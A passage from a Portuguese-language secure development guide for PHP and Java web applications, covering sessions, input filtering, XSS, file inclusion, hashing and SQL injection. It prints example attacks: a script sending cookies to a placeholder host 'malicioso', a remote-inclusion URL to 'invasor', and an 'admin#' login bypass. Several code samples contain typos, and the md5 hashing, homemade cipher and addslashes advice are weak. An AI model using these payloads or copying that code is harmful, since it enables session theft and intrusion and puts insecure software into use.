2.1.13. Segurana em identificadores de sesso Os identificadores de sesso devem ser sempre transmitidos em canais seguros, com a utilizao do protocolo SSL, para evitar que sejam capturados durante transmisses na rede. Os identificadores de sesso SSL devem ser verificados em conjunto com os identificadores da sesso do usurio, para dificultar ataques de seqestro de sesso. Deve ser definido um perodo de validade e um tempo mximo de inatividade para as sesses, reduzindo o risco de ataques de escuta do identificador de sesso em trnsito (perodo de validade) e de abuso, caso o usurio deixe de fechar a sesso aps o uso da aplicao (tempo de inatividade). Deve ser implementado um mecanismo para cancelamento de sesses ( logout). Desta forma, a sesso invalidada quando o usurio encerra a utilizao do sistema. Os identificadores de sesso nunca devem ser includos na URL, para evitar ataques de fixao de sesso. Devem ser usados cookies no-persistentes, ou seja, cookies sem uma data de expirao definida. Desta forma, o cookie no ser armazenado em disco, e seu contedo ser descartado quando o browser for fechado.
Diretivas: Os identificadores de sesso devem ser sempre transmitidos em canais seguros, com a utilizao do protocolo SSL; Os identificadores de sesso SSL devem ser verificados em conjunto com os identificadores da sesso do usurio; Deve ser definido um perodo de validade e um tempo mximo de inatividade para as sesses; Deve ser implementado um mecanismo para cancelamento de sesses (logout); Os identificadores de sesso nunca devem ser includos na URL; Devem ser usados cookies no-persistentes.
29

2.1.14. Prevenindo execuo remota O ataque de execuo remota consiste na tomada do controle direto do sistema, atravs da explorao de interfaces de texto vulnerveis insero de scripts. A principal porta de entrada para ataques desse tipo o uso de entradas de usurios como argumentos para a execuo de linhas de comando. H 3 tipos de ataques de execuo remota: injeo de cdigo php, incorporao de cdigos php em arquivos enviados, e injeo de scripts ou comandos Shell. A seguir so apresentadas algumas estratgias que devem ser adotadas para evitar a execuo remota. Limitar as extenses de arquivos com permisso para upload; Armazenar uploads fora da pasta principal do sistema (document root); Filtrar entradas de usurios; No incluir scripts provenientes de servidores remotos; Escapar adequadamente de todos os comandos Shell e caracteres especiais.
Diretivas: As extenses de arquivos com permisso para upload devem ser limitadas; Todos os uploads devem ser armazenados fora da pasta principal do sistema; Todas as entradas de usurios devem ser filtradas; O sistema no deve executar scripts provenientes de servidores remotos; O sistema deve escapar de todos os comandos Shell e caracteres especiais.
2.1.15. Monitorao Os logs do servidor web devem ser monitorados constantemente, possibilitando a identificao de problemas e a gerao de estatsticas de acesso. Os principais arquivos de log do servidor web a serem analisados so o access.log, que armazena os acessos bem sucedidos, e o error.log, que armazena erros de diversos tipos.
Diretivas: Os logs do servidor devem ser monitorados constantemente.
30

2.2. Tcnicas de Segurana em PHP 2.2.1. Proteo de informaes confidenciais Informaes confidenciais devem ser armazenadas apenas em arquivos com a extenso .php, pois arquivos com extenses como .inc, .php.inc, e arquivos de backup gerados pelos editores de texto (.php~, .bak, .old, entre outros) no so tratados nativamente pelo servidor web. Informaes relevantes (endereo do servidor de banco de dados, dados de login e senhas de acesso) no devem ser armazenadas no diretrio de trabalho do servidor web.
Diretivas: Informaes confidenciais devem ser armazenadas apenas em arquivos .php; Informaes relevantes no devem ser armazenadas no diretrio de trabalho.
2.2.2. Inicializao de variveis Variveis, principalmente as que possuem funo de verificao, autenticao, validao, ou afins, devem ser sempre inicializadas com valor que negue autenticao (Exemplo: $bloqueado = verdadeiro; $autenticado = falso). No exemplo a seguir, a varivel $authorized inicializada com valor = false, negando a autorizao:
<?php $authorized = false; if (authenticated_user()){ $$authorized = true; }
if ($autorized){ include "/highly/sensitive/data.php"; } ?>
31

No exemplo acima, a varivel $authorized foi inicializada atravs do comando $authorized = false;. Caso este comando no fosse inserido, a validao maliciosa do segundo if poderia ser feita atravs da seguinte chamada na URL: http://www.exemplo?authorized=true
Diretivas: Variveis devem ser sempre inicializadas com valor falso.
2.2.3. Configurao do PHP 2.2.3.1. register_globals
Sintaxe: register_globals = [ On | Off ]
A diretriz register_globals deve ser desabilitada, mantendo seu valor = Off, pois tem a funo de registrar, de forma automtica, variveis que foram enviadas atravs dos mtodos POST, GET e pelo uso de cookies. Desta forma, necessrio registrar todas as variveis recebidas, o que permite controlar todas as variveis envolvidas na execuo do script. O registro pode ser feito da seguinte forma:
<?php // Varivel: $age (inteiro) if (isset($_REQUEST["age"])) $age = $_REQUEST["age"]; else $age = NULL; ?>
Outra forma de registrar a varivel atravs do operador ternrio:

<?php // Varivel: $age (inteiro) $age = isset($_REQUEST["age"]) ? $_REQUEST["age"] : NULL; ?>
32

A superglobal $_REQUEST combina os dados provenientes dos mtodos $_GET, $_POST e $_COOKIE. Porm, recomendvel que sejam registradas somente as variveis recebidas por um determinado mtodo:
<?php // Varivel: $age (inteiro) $age = isset($_GET["age"]) ? $_GET["age"] : NULL; ?>
Diretivas: Manter a diretriz register_globals = Off; Sempre registrar as variveis.
2.2.3.2.
display_errors
Sintaxe: display_errors = [ On | Off ]
A diretriz display_errors deve ser desabilitada no servidor de produo, para que eventuais erros ou warnings gerados pelo script no sejam exibidos pelo browser juntamente com a pgina web. Tais erros poderiam revelar informaes relevantes, tais como caminhos e nomes de arquivos do servidor, nomes de usurios, estruturas de tabelas em SQL, dados de servidor, entre outras. No servidor de desenvolvimento, porm, esta diretriz precisa estar habilitada, para que sejam identificados os eventuais erros ao longo do cdigo.
Diretivas: Manter a diretriz display_errors = Off no servidor de produo.
33

2.2.3.3.
log_errors
Sintaxe: log_errors = [ On | Off ]
Essa diretriz deve ser sempre ativada no servidor de produo, para que os erros ocorridos durante a execuo do script sejam registrados em arquivo no servidor Apache, possibilitando o debug do programa.
Diretivas: Manter a diretriz log_errors = On no servidor de produo.
2.2.3.4.
error_reporting
Sintaxe: error_reporting = [ E_ALL & ... ]
recomendvel que esta diretriz, em ambiente de desenvolvimento, seja habilitada para reportar todos os tipos de mensagens de erro, avisos e mensagens com dicas de melhoria de cdigo. Isto pode ser feito da seguinte forma: error_reporting = E_ALL | E_STRICT Em ambiente de produo, por questes de performance, essa diretriz deve ser habilitada da seguinte forma: error_reporting = E_ALL & ~E_DEPRECATED
Diretivas: Manter a diretriz error_reporting = E_ALL & ~E_DEPRECATED em ambiente de produo.
2.2.3.5.
error_log
Esta diretriz define o nome do arquivo no qual sero registrados os erros do script executado. O valor especial syslog pode ser usado para que os erros sejam enviados para o log do sistema.
34

Somente o servidor web e o administrador de segurana do sistema devem ter permisso para ler e escrever este arquivo de log.
Diretivas: Somente o servidor web e o administrador de segurana do sistema devem ter permisso para ler e escrever o arquivo de log de erros.
2.2.3.6.
expose_php
Sintaxe: expose_php = [ On | Off ]
Esta diretriz deve estar desabilitada, para preservar informaes relativas verso do PHP instalada no servidor.
Diretivas: Manter a diretriz expose_php = Off.
2.2.4. Configurao de um servidor compartilhado Caso o sistema em PHP esteja hospedado em um servidor compartilhado, os valores das diretrizes devem ser definidos atravs da funo ini_set(), mas importante lembrar que o servidor deve conter o mximo de configuraes possveis definidas diretamente no arquivo php.ini e no arquivo de configuraes. As configuraes devem ser armazenadas em um arquivo separado, que ser includo no incio da execuo do programa, atravs da funo include(). Os valores definidos tero validade apenas durante a execuo do programa. A funo ini_set() possui 2 parmetros: a diretriz de configurao, e o valor atribudo mesma, respectivamente.
<?php ini_set('display_errors', 'Off'); ini_set('log_errors', 'On'); ini_set('error_log', '../logs/php_error.log'); ?>
35

Outra forma de definir os valores das diretrizes inserindo instrues em um arquivo .htaccess no seu diretrio de trabalho. Esta instruo pode ser um php_flag:
php_flag register_globals 0
Ou pode ser um php_value:

php_value register_globals off
Quando um arquivo .htaccess utilizado para esta ou outra finalidade, necessrio atribuir segurana ao mesmo, com a incluso do cdigo seguinte:
<Files .ht*> deny from all </Files>
importante ressaltar que a utilizao de arquivos .htaccess e da funo ini_set() pode causar perda de performance.
Diretivas: Em servidores compartilhados, os valores das diretrizes devem ser definidos atravs da funo ini_set() ou de instrues em um arquivo .htaccess; necessrio atribuir segurana aos arquivos .htaccess utilizados para definir diretrizes.
36

2.2.5. Variveis Todas as variveis externas (recebidas de um formulrio, via URL, arquivos recebidos via upload), devem ter suas propriedades verificadas antes de serem processadas. Para isso, so necessrios os seguintes passos: 1. Verificar se foi atribudo um valor varivel; 2. Registrar a varivel no ambiente de execuo; 3. Verificar se a varivel do tipo esperado; 4. Verificar se o tamanho da varivel est em conformidade; 5. Verificar se a varivel est dentro da faixa de valores prevista.
Diretivas: Todas as variveis externas devem ter suas propriedades verificadas antes de serem processadas.
2.2.6. Tipos de dados Toda varivel recebida deve ser testada, para verificar se seu tipo de dado est conforme o previsto. A funo is_int() verifica se a varivel inteira:
<?php if (is_int($variavel)){ echo "Varivel inteira"; } else { echo "No uma varivel inteira"; } ?>
A funo isset() verifica se a varivel foi iniciada:

<?php if (isset($variavel)){ echo "Varivel iniciada"; } else { echo "Varivel no iniciada"; }
37

?>
A funo is_array() verifica se a varivel um array:

<?php if (is_array($variavel)){ echo "Varivel um array"; } else { echo "Varivel no um array"; } ?>
A funo is_bool() verifica se a varivel um nmero booleano:

<?php if (is_bool($variavel)){ echo "Varivel um nmero booleano"; } else { echo "Varivel no um nmero booleano "; } ?>
A funo is_float() verifica se a varivel um float:

<?php if (is_float($variavel)){ echo "Varivel um float"; } else { echo "Varivel no um float"; } ?>
A funo is_null() verifica se a varivel NULL:

<?php if (is_nullt($variavel)){ echo "Varivel NULL"; } else { echo "Varivel no NULL"; } ?>
38

A funo is_numeric() verifica se a varivel um nmero ou uma string numrica:

<?php if (is_numeric($variavel)){ echo "Varivel um nmero ou uma string numrica"; } else { echo "Varivel no um nmero ou uma string numrica"; } ?>
A funo is_object() verifica se a varivel um objeto:

<?php if (is_object($variavel)){ echo "Varivel um objeto"; } else { echo "Varivel no um objeto"; } ?>
A funo is_resource() verifica se a varivel um resource:

<?php if (is_resource($variavel)){ echo "Varivel um resource"; } else { echo "Varivel no um resource"; } ?>
A funo is_scalar() verifica se a varivel escalar:

<?php if (is_scalar($variavel)){ echo "Varivel escalar"; } else { echo "Varivel no escalar"; } ?>
39

A funo is_string() verifica se a varivel uma string:

<?php if (is_string($variavel)){ echo "Varivel uma string"; } else { echo "Varivel no uma string"; } ?>
A funo gettype retorna uma string com o tipo da varivel:

<?php $variavel = teste; echo gettype ($variavel); ?>
A funo settype() atribui um tipo a uma varivel:

<?php $var1 = LC3; // string $var2 = true; // booleano settype($var1, integer); // a varivel $var1 passa a ter o valor = 3 (inteiro) settype($var2, string); // a varivel $var2 passa a ter o valor = 1 (string) ?>
Diretivas: Toda varivel recebida deve ser testada.
40

2.2.7. Filtro de dados Devem ser criados mecanismos para filtrar o valor atribudo a uma varivel, ou seja, verificar se o valor est em conformidade com o previsto. Desta forma, se um campo de um formulrio foi criado para receber nomes prprios, o filtro deve ser aplicado para impedir que sejam fornecidos nmeros ou caracteres especiais. Algumas questes especficas merecem cuidados especiais, como, por exemplo, nomes prprios que possuem apstrofe, e devem receber tratamento adequado de acordo com a aplicao. A funo a seguir verifica se um nmero inteiro est dentro de uma determinada faixa de valores:
<?php function checkint($var, $min, $max){ $var = intval($var); if ($var >= $min && $var <= $max){ return ($var); } else { return (FALSE); } } ?>
<?php // testando a varivel $idade com a faixa de valores entre 0 e 120 $idade = isset($_REQUEST["idade"]) ? $_REQUEST["idade"] : NULL; $idade = checkint($idade, 0, 120); ?>
O filtro para strings pode ser aplicado como no exemplo abaixo, uma vez que uma string pode assumir qualquer valor:
if ( isset( $valor ) && $valor !== NULL ) { // $valor uma string }
41

A funo is_int() pode ser usada para filtrar valores numricos:

$ano = $_POST['ano']; if ( !is_int($ano ) ) exit ( "$ano um valor invlido para determinar o ano!" );
A funo gettype() tambm pode ser usada na aplicao de filtros:

if ( gettype( $ano ) != 'integer' ) { exit ( "$ano um valor invlido para definir o ano!" ); }
As trs formas a seguir podem ser usadas para transformar uma varivel em um valor inteiro:
$ano = intval( $_POST[ 'ano' ] );
$ano = (int) $_POST[ 'ano' ];
if ( !settype ( $ano, 'integer' ) ) { exit ( "$ano um valor invlido para definir o ano!" ); }
Valores booleanos tambm devem ser filtrados:

if ( !is_bool ( $flag) ) { exit ( "$flag no um valor booleano!" ); }
A aplicao de filtros para verificar o tamanho da varivel de extrema importncia, pois previne diversos ataques, como o buffer overflow:
if ( strlen( $ano ) != 4) exit ( "$ano um valor invlido para definir o ano!" );
Exemplo de cdigo para validar tipos e formatos de vrios valores submetidos pelos usurios, restringindo o filtro apenas s variveis esperadas:
42

<?php // configura um vetor com valores e tipos esperados de variveis $esperados = array( 'produto'=>'string', 'estoque'=> 'int' , 'imagem'=>'filename' );
// verifica o valor e o tamanho de cada entrada foreach ( $esperadas AS $temp=>$tipo ) { if ( empty( $_GET[ $temp ] ) ) { ${$tempo} = NULL; continue; } switch ( $tipo ) { case 'string' : if ( is_string( $_GET[ $temp ] ) && strlen( $_GET[ $temp ] ) < 256) { ${$temp} = $_GET[ $temp ]; } break; case 'int' : if ( is_int( $_GET[ $temp ] ) ) { ${$temp} = $_GET[ $temp ]; } break; case 'filename' ; // limita nomes de arquivos a 64 caracteres if ( is_string( $_GET[ $temp ] ) && strlen( $_GET[ $temp ] ) < 64 ) { // escapa de qualquer no-ASCII ${$temp} = str_replace( '%', '_', rawurlencode( $_GET[ $temp ] ) ); // probe pontos duplos if ( strpos( ${$temp}, '..' ) === TRUE ) { ${$temp} = NULL; } } break; } if ( !isset( ${$temp}{ ${$temp} = NULL; } } // entrada validada para uso na aplicao
Diretivas: Todas as variveis recebidas devem ser filtradas.
43

2.2.8. Permitindo apenas variveis esperadas Todas as variveis previstas para serem recebidas por input devem ser explicitamente listadas em um vetor:
<?php // interface do usurio $esperadas = array ( 'produto', 'fabricante', 'valor' ) ;
// interface do administrador if ( $admin ) { $esperadas[] = 'lucro' ; }
foreach( $esperadas AS $temp ){ if ( !empty( $_POST[ $temp ] )){ ${$temp} = $_POST[ $temp ]; } else { ${$temp} = NULL; } } ?>
No exemplo anterior, as variveis esperadas so listadas em um vetor, e recebem o valor atravs do loop foreach(). H ainda a varivel lucro, que adicionada ao vetor apenas se o usurio for o administrador.
Diretivas: Todas as variveis esperadas devem ser explicitamente listadas em um vetor.
44

2.2.9. Ataques por formulrios 2.2.9.1. Spam
Em formulrios de e-mail, as variveis de entrada devem ser registradas e tratadas com expresses regulares, conforme o exemplo a seguir:
<?php // recebe e registra o nome e o e-mail do usurio $nome = isset ($_POST["nome"]) ? $_POST["nome"] : NULL; $email = isset ($_POST["email"]) ? $_POST["email"] : NULL;
// Aplica expresso regular para testar nome e e-mail if(!eregi("^[a-zA-Z]*[a-zA-Z ]+[a-zA-Z]$", $nome)) exit "Nome Suspeito!"; if(!eregi("^[a-zA-Z0-9._-]+@[a-z0-9-]+(\.[a-z0-9-]+){1,3}$", $e-mail)) exit "Endereo de e-mail suspeito!";
$Headers = "From: {$nome} <{$email}>"; $Body = $_POST['mensagem'];
$To = "contato@exemplo"; $Subject = "Fale conosco";
mail ($To, $Subject, $Body, $Headers); ?>
As expresses regulares aplicadas no cdigo apresentado, aliadas ao registro das variveis, impedem que um usurio insira quebras de linhas maliciosas nos campos nome e e-mail. Uma quebra de linha com o cabealho Bcc:, por exemplo, permitiria o envio de mensagens indesejadas a diversos destinatrios.
45

A funo preg_match() tambm pode ser utilizada para a validao de dados:

<?php $clean = array(); if (preg_match("/^[0-9]+:[X-Z]+$/D", $_GET['var'])) { $clean['var'] = $_GET['var']; } ?>
Diretivas: Registrar e tratar com expresses regulares as variveis recebidas de formulrios.
2.2.9.2.
Cross-Site Scripting (XSS)
Assim como no combate a spams, necessrio o registro e o tratamento adequado de variveis recebidas pelo formulrio. Um dos ataques mais comuns de XSS o roubo de cookies, que pode ser feito com a simples insero do seguinte cdigo em um campo do formulrio:
<script> document.location = 'http://malicioso/roubo.php?cookies=' + document.cookie </script>
Para evitar este ataque, a funo htmlspecialchars() deve ser utilizada na estrutura de filtros.
$variavel = htmlspecialchars($_REQUEST["variavel"]);
46

Desta forma, o cdigo inserido pelo usurio no causaria problemas, pois caracteres especiais seriam reconhecidos como caracteres normais, sendo apenas exibido pelo browser da seguinte forma:
<script> document.location = 'http://malicioso/roubo.php?cookies=' + document.cookie </script&gt
Diretivas: Utilizar a funo htmlspecialchars(), ou similar, na estrutura de filtros.
2.2.9.3.
Upload de arquivo
Arquivos recebidos de formulrios devem ser testados antes de serem armazenados em definitivo. Todo arquivo deve ter sua extenso verificada, para que sejam recebidos apenas os arquivos com as extenses previstas pelo sistema. A veracidade do tipo do arquivo tambm deve ser verificada, j que arquivos podem ser renomeados com outras extenses. Uma das maneiras de realizar esta verificao atravs da funo exif_imagetype(). Solues de software antivrus devem ser utilizadas para verificar os arquivos recebidos; A integridade dos arquivos tambm deve ser verificada, j que o mesmo pode no ter sido completamente recebido.
Diretivas: Armazenar arquivos recebidos em diretrios temporrios at que sejam testados; Verificar a extenso do arquivo; Verificar a veracidade do tipo do arquivo; Escanear o arquivo com softwares antivrus; Verificar a integridade do arquivo recebido.
47

2.2.10. Protegendo o cdigo fonte e os arquivos Todo cdigo deve ser delimitado pelas tags de abertura e fechamento do PHP. Caso contrrio, o mesmo pode ser exposto, por exemplo, quando chamado atravs da funo include(), que alterna os modos do interpretador entre PHP e HTML. Quanto aos arquivos, deve ser adotada a poltica de invisibilidade da extenso dos arquivos na URL, aliada desativao da diretriz expose_php. O exemplo a seguir uma forma incorreta de criar links, pois expe tanto o local onde o arquivo se encontra, quanto a extenso do mesmo:
<?php // link com caminho e extenso expostos $inc = isset($_REQUEST["inc"]) ? $_REQUEST["inc"] : "../exemplo.php"; include($inc); ?> <li><a href="?inc=../exemplo.php">Exemplo</a>
Para corrigir esse problema, a extenso dos arquivos referenciados nos links deve ser definida previamente, como no exemplo a seguir:
<?php // link com caminho e extenso escondidos $inc = isset($_REQUEST["inc"]) ? $_REQUEST["inc"] : "exemplo"; include("../" . $inc . ".php"); ?> <li><a href="?inc=exemplo">Exemplo</a>
Diretivas: Todo cdigo deve ser delimitado pelas tags de abertura e fechamento do PHP; Deve ser adotada a poltica de invisibilidade da extenso dos arquivos na URL; A extenso dos arquivos referenciados nos links deve ser definida previamente;
48

2.2.11. Implementando White list Deve ser implementada a tcnica de White list para catalogar arquivos que podem ser includos em uma pgina atravs da funo include() e suas variantes. Esta tcnica pode ser implementada atravs da funo includecheck(), e pode ser implementada ainda a funo registerattack(), para manter o registro das eventuais tentativas de ataque por meio da funo include():
<?php // funo para registrar as tentativas de ataque function registerattack($path){ $logfile = '../attack.log';
$reg = date("M j H:i:s (T) "); $reg .= "SRC $_SERVER[REMOTE_ADDR] : $_SERVER[REMOTE_PORT], "; $reg .= "DST $_SERVER[SERVER_NAME] : $_SERVER[SERVER_PORT], "; $reg .= "Agent $_SERVER[HTTP_USER_AGENT], "; $reg .= "String \"$path\"\n";
if (!$handle = fopen($logfile, 'a')){ print("<b>Erro</b>: No foi possvel abrir o arquivo $logfile."); exit; }
if (!fwrite($handle, $reg)){ print("<b>Erro</b>: Impossvel gravar no arquivo $logfile."); exit; }
fclose($handle); } ?>
<?php function includecheck($file){ // define a White list $WhiteList = array('../cont.php' => '', '../prod.php' => '', '../port.php' => '');
// testa se o arquivo est em White list if (!isset($WhiteList[$file])){ // registra em arquivo dados do incidente registerattack($file);
49

// aborta execuo geral die("<b>Ateno</b>: Tentativa de violao de segurana!"; } include ($file); }
<?php // tratamento do link recebido pela URL $inc = isset($_REQUEST["inc"]) ? $_REQUEST["inc"] : "port";
includecheck("../" . $inc . ".php"); ?>
<?php // criao do link <li><a href="?inc=port">Portflio</a> <li><a href="?inc=prod">Produtos</a> <li><a href="?inc=cont">Contato</a> ?>
Caso a White list no seja implementada, o sistema pode sofrer uma injeo de cdigo, ou seja, um atacante pode inserir cdigos maliciosos que tornariam o servidor vulnervel, realizando uma chamada de URL parecida com a exemplificada a seguir: http://www.exemplo/?quiz=http://invasor/code.inc
Diretivas: Deve ser implementada a tcnica de White list;
As eventuais tentativas de ataque devem ser registradas;
2.2.12. Sesses seguras As sesses so um recurso do PHP que preserva determinadas variveis em acessos posteriores, eliminando a necessidade de mltiplas autenticaes. Devido a isso, o uso de sesses deve estar sempre associado criptografia. Para cada sesso, gerado um identificador nico (SID Session Identifier), que armazenado em um cookie ou propagado pela URL. Para dificultar o acesso a esta
50

informao, a diretriz session.use_only_cookies deve ser ativada no arquivo de configurao php.ini, e os cookies devem estar ativados no browser. Esta medida tambm evita ataques de fixao de sesses.
Diretivas: O uso de sesses deve estar sempre associado criptografia;
A diretriz session.use_only_cookies deve ser ativada no arquivo de configurao php.ini.
2.2.13. Criptografia e hash Todas as informaes confidenciais devem ser criptografadas antes de trafegarem ou serem armazenadas no banco de dados. No caso de senhas de acesso, apenas o hash deve ser armazenado. Aliado a isso, o algoritmo de hash deve ser combinado com senhas de criptografia, o que aumentar a qualidade e a imprevisibilidade da codificao. Uma maneira simples de criar hash no PHP atravs da funo md5():
<?php $senha = md5('senha secreta' . '54321'); ?>
No exemplo acima, a funo md5() foi combinada com a senha 54321. Em casos especficos, pode ser necessrio criptografar e decifrar uma informao em um determinado momento. Isso pode ser feito atravs das funes md5_encrypt() e md5_decrypt():
51

<?php function get_rnd_iv($iv_len){ $iv = ''; while ($iv_len-- > 0){ $iv .= chr(mt_rand() & 0xff); } return $iv; }
function md5_encrypt ($plain_text, $password, $iv_len = 16){ $plain_text .= "\x13"; $n = strlen($plain_text); if ($n % 16) $plain_text .= str_repeat("\0", 16 - ($n % 16)); $i = 0; $enc_text = get_rnd_iv($iv_len); $iv = substr($password ^ $enc_text, 0, 512); while ($i < $n){ $block = substr($plain_text, $i, 16) ^ pack('H*', md5($iv)); $enc_text .= $block; $iv = substr($block . $iv, 0, 512) ^ $password; $i += 16; } return base64_encode($enc_text); }
function md5_decrypt ($enc_text, $password, $iv_len = 16){ $enc_text = base64_decode($enc_text); $n = strlen($enc_text); $i = $iv_len; $plain_text = ''; $iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512); while ($iv < $n){ $block = substr($enc_text, $i, 16); $plain_text .= $block ^ pack('H*', md5($iv)); $iv = substr($block . $iv, 0, 512) ^ $password; $i += 16; } return preg_replace('/\x13\x00*$/', '', $plain_text); } ?>
<?php $criptografado = md5_encrypt ("Teste", "54321"); echo $criptografado; echo "<br>";
$normal = md5_decrypt ($criptografado, "54321"); echo $normal; ?>
52

Diretivas: Todas as informaes confidenciais devem ser criptografadas antes de trafegarem ou serem armazenadas no banco de dados;
O algoritmo de criptografia deve ser combinado com uma senha de criptografia.
2.2.14. Varivel criptografada na URL Toda varivel utilizada na URL para definir a pgina a ser includa, ou chamada, deve ter seu contedo criptografado:
<?php $inc = isset($_REQUEST["inc"]) ? $_REQUEST["inc"] : "../exemplo.php"; $inc = md5_decrypt ($inc, "54321");
include($inc); ?> <li><a href="?inc=DPmaFAiCZruqNSNhOZaaq7Xpd8RqQsU5bTzQMIgBhRM=">Exemplo</a>
Para o exemplo acima, a varivel $inc recebida criptografada. A criptografia pode ser feita da seguinte forma:
<?php echo md5_encrypt("../exemplo.php", "54321"); ?>
Como resultado, esta seria a URL gerada: http://www.dominio/?inc=DPmaFAiCZruqNSNhOZaaq7Xpd8RqQsU5bTzQMIgBhRM

Diretivas: Todas varivel utilizada na URL deve ter ser contedo criptografado.
53

2.2.15. SQL injection O SQL injection um tipo de ataque caracterizado pelo uso de consultas arbitrrias por usurios no autorizados. Quanto mais o atacante conhece a estrutura do banco, mais fcil se torna a ao do mesmo. Para manter a privacidade da estrutura do banco de dados, os nomes das variveis usadas nos formulrios HTML no devem ser iguais aos nomes usados nas tabelas do banco de dados. Em um formulrio para autenticao de usurios, com os campos login e senha, um atacante poderia fazer a seguinte entrada no campo login: admin# Desta forma, a query resultante seria a seguinte: SELECT * FROM usurios WHERE login=admin# AND password=xxx Independente da entrada que o atacante fizesse para o campo senha, o mesmo seria autenticado no sistema como administrador, uma vez que, aps a insero do caractere #, o restante da consulta seria considerado como um simples comentrio. Por este motivo, todas as variveis devem ser corretamente filtradas. Neste caso, o uso da funo addslashes() ajudaria a resolver o problema. Basta aplic-la varivel que recebe os dados de login:
$login = addslashes($login); $senha = addslashes($senha);
recomendvel o uso da prepared statement do prprio PHP para tratamento de SQL Injection, que pode ser obtida em: http://php.net/manual/en/pdo.prepared-statements.php
Diretivas: Os nomes das variveis usadas nos formulrios HTML no devem ser iguais aos nomes usados nas tabelas do banco de dados; Todas as variveis devem ser filtradas.
54

2.3.
Tcnicas de Segurana em Java
2.3.1. Validao de entradas de dados A validao de entradas de dados um dos itens mais importantes da segurana de sistemas. Qualquer dado recebido pelo sistema deve ser validado, verificando se o mesmo seguro, ou seja, no contm propriedades que caracterizem possveis ataques, como SQL injection, Cross Site Scripting (XSS) e Cross Site Request Forgery (CSRF). Para validar, por exemplo, uma entrada de dados em que se espera receber apenas nmeros, o mtodo isdigit() pode ser utilizado. Expresses regulares devem ser usadas para validar as entradas. As expresses regulares devem conter ainda um arquivo de configurao que possa ser facilmente atualizado por um profissional de segurana, sem a necessidade de interveno por parte de programadores ou de implantao de um novo cdigo.
2.3.1.1.
Adicionando lgica de validao ao objeto HTTPServletRequest
Em uma aplicao Java EE, toda entrada de usurios vem do objeto HTTPServletRequest. Usando mtodos nesta classe, tais como getParameter,
getCookie, e getHeader, o sistema pode receber informaes no tratadas diretamente do browser do usurio. Desta forma, tudo que for recebido do usurio no objeto HTTPServletRequest deve ser considerado suspeito e deve ser validado antes de ser usado.
A validao de dados pode ser adicionada ao objeto HTTPServletRequest. Uma das formas de implementar esta validao atravs de um Modelo de Segurana Positiva, o qual nega tudo o que no for explicitamente permitido. No exemplo a seguir, usado um filtro Java EE para cobrir todas as requisies com uma nova classe que estende a classe HttpServletRequestWrapper, e todos os mtodos especficos que recebem dados de usurios so substitudos por chamadas que fazem a validao antes de retornar o dado:
55

public class ValidatingHttpRequest extends HttpServletRequestWrapper { public ValidatingHttpRequest(HttpServletRequest request) { super(request); }
public String getParameter(String name) { HttpServletRequest req = (HttpServletRequest) super.getRequest(); return validate( name, req.getParameter( name ) ); } // Ateno voc pode opcionalmente permitir o recebimento de parmetro no preparado public String getRawParameter( String name ) { HttpServletRequest req = (HttpServletRequest) super.getRequest(); return req.getParameter( name ); }
... siga este padro para getHeader(), getCookie(), etc...
private Pattern pattern = Pattern.compile("^[a-zA-Z0-9]{0,20}$");
private String validate( String name, String input ) throws ValidationException { String canonical = canonicalize( input );
// verifique se a entrada corresponde ao conjunto de caracteres da whitelist if ( !pattern.matcher( canonical ).matches() ) { throw new ValidationException( "Formato imprprio em " + name + " field"; }
// possvel codificar entidades html, mas provavelmente ser melhor fazer isso antes da sada // canonical = HTMLEntityEncode( canonical );
return canonical; }
// Simplifica o format das entradas para tornar mais difceis os truques de codificao private String canonicalize( String input ) { String canonical = sun.text.Normalizer.normalize( input, Normalizer.DECOMP, 0 ); return canonical; } // Para mais detalhes, acesse http://www.owasp.org/index.php/How_to_perform_HTML_entity_encoding_in_Java // Retorna cdigos de entidades html equivalents para qualquer character especial public static String HTMLEntityEncode( String input ) { StringBuffer sb = new StringBuffer(); for ( int i = 0; i < input.length(); ++i ) { char ch = input.charAt( i ); if ( ch>='a' && ch<='z' || ch>='A' && ch<='Z' || ch>='0' && ch<='9' ) { sb.append( ch ); } else {
56

sb.append( "&#" + (int)ch + ";" ); } } return sb.toString(); } }
Assim, necessrio garantir que todas as requisies do sistema sero cobertas pela classe acima, a partir de:
public class ValidationFilter implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) { chain.doFilter(new ValidatingHttpRequest( (HttpServletRequest)request ), response); } }
Para adicionar o filtro, basta inserir as classes acima no classpath do sistema, e configurar o filtro no arquivo web.xml:
<filter> <filter-name>ValidationFilter</filter-name> <filter-class>ValidationFilter</filter-class> </filter> <filter-mapping> <filter-name>ValidationFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
No exemplo apresentado acima, todas as requisies HTTP so validadas de acordo com o mesmo padro de validao.
57

2.3.1.2.
Codificando entidades HTML
Ataques por meio de injeo de cdigos se baseiam no fato de que interpretadores de cdigo recebem os dados e os executam como comandos. Desta forma, caso um atacante modifique o dado a ser enviado, o mesmo pode confundir o interpretador. Uma das formas de prevenir esse ataque impedindo a produo de caracteres especiais:
/* return StringBuilder and/or make Writer param and write to stream directly*/ public static String htmlEntityEncode( String s ) { StringBuilder buf = new StringBuilder(s.length()); for ( int i = 0; i < len; i++ ) { char c = s.charAt( i ); if ( c>='a' && c<='z' || c>='A' && c<='Z' || c>='0' && c<='9' ) { buf.append( c ); } else { buf.append("&#").append((int)c).append(";"); } } return buf.toString(); }
recomendvel que todos os caracteres de controle que no representem espaos em branco sejam removidos do fluxo de sada em HTML:
public static StringBuilder escapeHtmlFull(String s) { StringBuilder b = new StringBuilder(s.length()); for (int i = 0; i < s.length(); i++) { char ch = s.charAt(i); if (ch >= 'a' && ch <= 'z' || ch >= 'A' && ch <= 'Z' || ch >= '0' && ch <= '9') { // safe b.append(ch); } else if (Character.isWhitespace(ch)) { // paranoid version: whitespaces are unsafe - escape // conversion of (int)ch is naive
58

b.append("&#").append((int) ch).append(";"); } else if (Character.isISOControl(ch)) { // paranoid version:isISOControl which are not isWhitespace removed ! // do nothing do not include in output ! } else { // paranoid version // the rest is unsafe, including <127 control chars b.append("&#" + (int) ch + ";"); } } return b; }
O cdigo precisa ser fixado novamente, para no haver problemas com caracteres Unicode suplementares:
